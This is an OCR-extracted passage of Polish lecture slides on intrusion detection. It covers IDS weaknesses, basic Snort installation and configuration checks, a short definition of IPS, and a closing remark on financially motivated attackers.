zostac wykorzystany do proby ataku na sie¢ chroniong przez IDS.
Defragmentacja pakietow - Wykrycie ataku roztozonego na kilka
pakietow wymaga monitorowania przebiegu sesji. Takie dziatanie
pochfania jednak czesc¢ zasobow, systemy IDS majg problemy z
dziataniem przy transmiji pakietow przekraczajgcej 63mb/s.
Fatszywe alarmy.




Snort

Snort — przyktad systemu NIDS.

Przy instalacji Snorta (ze strony www.snort.org) nalezy zwrocic
szczegolng uwage na:

- czy istnieje katalog /etc/snort/rules — jesli nie, to mozna ,go”
sSciggnac ze strony

http://www.snort.org/pub-bin/downloads.cgi/Download/vrt_pr/snortrules-pr-2.4.tar.gz
| rozpakowac do katalagu /etc/snort,

- sprawdziC, czy w pliku /etc/snort/snort.conf jest wpisany poprawny
adres pliku local.rules (jest on w linijce rozpoczynajacej sie ,var
RULE_PATH");

- sprawdzi¢ poprawnosc¢ adresu pliku /ibsf engine.so (linjjki rozpoczynajace
si¢ od ,,dynamicpreprocessor directory’ oraz ,,dynamicengine”);


http://www.snort.org/
http://www.snort.org/pub-bin/downloads.cgi/Download/vrt_pr/snortrules-pr-2.4.tar.gz

IPS

IPS (Intrusion Prevention Systems) to
sprzetowe badz programowe
rozwigzania, ktorych zadaniem jest
wykrywanie atakow na system
komputerowy z wewnatrz jak i od
zewnatrz systemu oraz uniemozliwianie
przeprowadzenia takich atakow.

Mozna o nich poczytaCc m.in. na
stronie:

http://www.mcafee.com/us/local content/white papers/wp host nip.pdf.




Podsumowanie

Niebezpieczenstw w sieci jest coraz
wiecey.

Nastgpita wyrazna zmiana specyfiki
atakow: autorzy groznego
oprogramowania dalej dgzg do
osiggania coraz wiekszych korzysci,
jednak nie interesuje ich juz stawa, ale
pienigdze.

Tym bardziej trzeba uwazac...
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